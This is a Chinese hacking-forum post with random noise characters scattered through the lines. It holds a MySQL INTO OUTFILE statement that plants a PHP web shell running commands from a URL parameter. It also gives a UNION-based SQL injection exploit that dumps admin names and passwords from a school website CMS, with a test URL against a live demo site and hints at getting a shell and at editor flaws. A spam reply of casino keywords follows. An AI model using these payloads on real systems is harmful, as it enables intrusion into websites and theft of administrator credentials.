( w, Q+ y6 l3 D$ F) H  v% Wselect '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'E:/xamp/www/study.php'
" v. c* E8 A6 [- z7 N2 Q* V# L1 H% n- M然后访问网站目录：http://www.2cto.com/study.php?cmd=dir
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------
4 R9 t8 r8 q  l# y' T
3 C5 }/ O3 \* ~. C6 O! PNO.001中学网站管理系统 Build 110628 注入漏洞
7 T: Y/ c& ?% u3 s. M. X
. U# _: r) D* B; oNO.001中学网站管理系统功能模块:
1.管理员资料:网站的基本信息设置（校长邮箱等）,数据库备份,用户管理、部门及权限管理等
1 a! {9 w2 [, O! f2.学校简介:一级分类，可以添加校园简介,领导致辞、校园风光、联系我们。。。等信息
3.文章管理:二级分类,动态添加各相关频道（图片视频频道、学校概况频道除外）文章等信息
4.视频图片管理:一级分类,动态添加视频或者图片等信息
$ v9 V9 u( D' U' C5.留言管理:对留言,修改,删除、回复等管理
9 K" [) S) [( b7 j$ r7 B+ U+ e6.校友频道:包括校友资料excel导出、管理等功能
/ K- `! J  i9 L/ a7.友情链接管理:二级分类，能建立不同种类的友情链接显示在首页
默认后台:admin/login.asp
官方演示:http://demo.001cms.net
2 e* n. C3 H- F0 j6 }" R! ^源码下载地址:http://down.chinaz.com/soft/30187.htm
EXP:
" J4 v0 U) i# d, m' _5 ~  H, hunion select 1,2,3,a_name,5,6,a_pass,8,9,10,11 from admin
- i% n6 B9 B' W) D8 Q测试:http://demo.001cms.net/shownews.asp?type=新闻动态&stype=校务公开&id=484 union select 1,2,3,a_name,5,6,a_pass,8,9,10,11 from admin
getshell:后台有备份，你懂的
另:FCK编辑器有几处可利用.大家自己行挖掘,由于相关内容较多，我在这里就不说了。
+ |8 R2 \" R0 B: k5 m0 D' E$ @-------------------------------------------------------------------------------------------------------------------------------------------------------------------------

---

作者: 匿名    时间: 2017-10-28 08:21
casino slots
online casino canada
new online casino
slot machines

---

欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)

Powered by Discuz! X3.2